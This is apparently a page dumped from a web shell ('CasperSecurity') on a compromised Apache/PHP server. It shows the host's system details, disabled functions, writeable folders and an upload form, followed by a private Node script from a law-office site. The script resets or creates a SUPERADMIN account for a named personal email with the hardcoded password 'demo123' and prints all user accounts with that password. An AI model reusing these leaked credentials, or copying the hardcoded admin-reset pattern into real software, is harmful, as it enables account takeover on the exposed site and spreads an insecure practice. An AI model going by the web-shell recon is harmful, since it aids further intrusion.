T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/lavocat.quebec/private_html/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/lavocat.quebec/private_html/scripts/reset-super-admin-password.js
const { PrismaClient } = require('@prisma/client');
const bcrypt = require('bcryptjs');

const prisma = new PrismaClient();

async function resetSuperAdminPassword() {
  try {
    console.log('šŸ”‘ Resetting SUPERADMIN password...');

    // Find the user by email, regardless of role
    const superAdmin = await prisma.user.findFirst({
      where: {
        email: 'dannywperez@msn.com',
      },
      select: {
        id: true,
        name: true,
        email: true,
        role: true
      }
    });

    if (!superAdmin) {
      console.log('āŒ SUPERADMIN user not found. Creating one...');
      const hashedPassword = await bcrypt.hash('demo123', 12);
      const newSuperAdmin = await prisma.user.create({
        data: {
          email: 'dannywperez@msn.com',
          name: 'Danny PEREZ',
          password: hashedPassword,
          role: 'SUPERADMIN',
          notifications: true,
          theme: 'light',
          isActive: true
        }
      });
      console.log('āœ… Created new SUPERADMIN user:');
      console.log(`   šŸ‘¤ Name: ${newSuperAdmin.name}`);
      console.log(`   šŸ“§ Email: ${newSuperAdmin.email}`);
      console.log(`   šŸ”‘ Password: demo123`);
      console.log(`   šŸ‘‘ Role: ${newSuperAdmin.role}`);
    } else {
      // Update password and role
      const hashedPassword = await bcrypt.hash('demo123', 12);
      await prisma.user.update({
        where: { id: superAdmin.id },
        data: {
          password: hashedPassword,
          role: 'SUPERADMIN',
          isActive: true
        }
      });
      console.log('āœ… Password and role reset successfully!');
      console.log(`   šŸ“§ Email: dannywperez@msn.com`);
      console.log(`   šŸ”‘ New password: demo123`);
      console.log(`   šŸ‘‘ Role: SUPERADMIN`);
    }

    // Verify the password works
    console.log('\nšŸ” Verifying password reset...');
    
    const testUser = await prisma.user.findUnique({
      where: {
        email: 'dannywperez@msn.com'
      },
      select: {
        id: true,
        email: true,
        password: true,
        role: true,
        name: true
      }
    });

    if (testUser) {
      const isValid = await bcrypt.compare('demo123', testUser.password);
      
      if (isValid) {
        console.log('āœ… Password verification successful!');
        console.log('šŸŽ‰ You can now log in with:');
        console.log(`   šŸ“§ Email: dannywperez@msn.com`);
        console.log(`   šŸ”‘ Password: demo123`);
      } else {
        console.log('āŒ Password verification failed!');
      }
    }

    // Show all available login accounts
    console.log('\nšŸ“‹ All Available Demo Accounts:');
    console.log('=' .repeat(50));
    
    const allUsers = await prisma.user.findMany({
      select: {
        name: true,
        email: true,
        role: true
      },
      orderBy: {
        role: 'desc'
      }
    });

    allUsers.forEach(user => {
      const roleInfo = getRoleInfo(user.role);
      console.log(`${roleInfo.icon} ${user.name} (${user.email})`);
      console.log(`   Role: ${roleInfo.label} | Password: demo123`);
      console.log('');
    });

    console.log('šŸŽÆ Quick Login URLs:');
    console.log('   🌐 HTTPS: https://localhost:3443/auth/login');
    console.log('   🌐 HTTP:  http://localhost:3000/auth/login');

  } catch (error) {
    console.error('āŒ Error resetting SUPERADMIN password:', error);
  } finally {
    await prisma.$disconnect();
  }
}

function getRoleInfo(role) {
  switch (role) {
    case 'SUPERADMIN':
      case 'SUPERADMIN':
      case 'SUPERADMIN':
      return { label: 'Super Admin', icon: 'šŸ‘‘' };
    case 'ADMIN':
      return { label: 'Admin', icon: 'šŸ‘©ā€āš–ļø' };
    case 'LAWYER':
      return { label: 'Lawyer', icon: 'āš–ļø' };
    case 'SECRETARY':
      return { label: 'Secretary', icon: 'šŸ“‹' };
    case 'ASSISTANT':
      return { label: 'Assistant', icon: 'šŸ¤' };
    case 'CLERK':
      return { label: 'Law Clerk', icon: 'šŸ“š' };
    case 'CLIENT':
      return { label: 'Client', icon: 'šŸ‘¤' };
    default:
      return { label: role, icon: 'šŸ‘¤' };
  }
}

// Run the script
resetSuperAdminPassword(); 

CasperSecurity Mini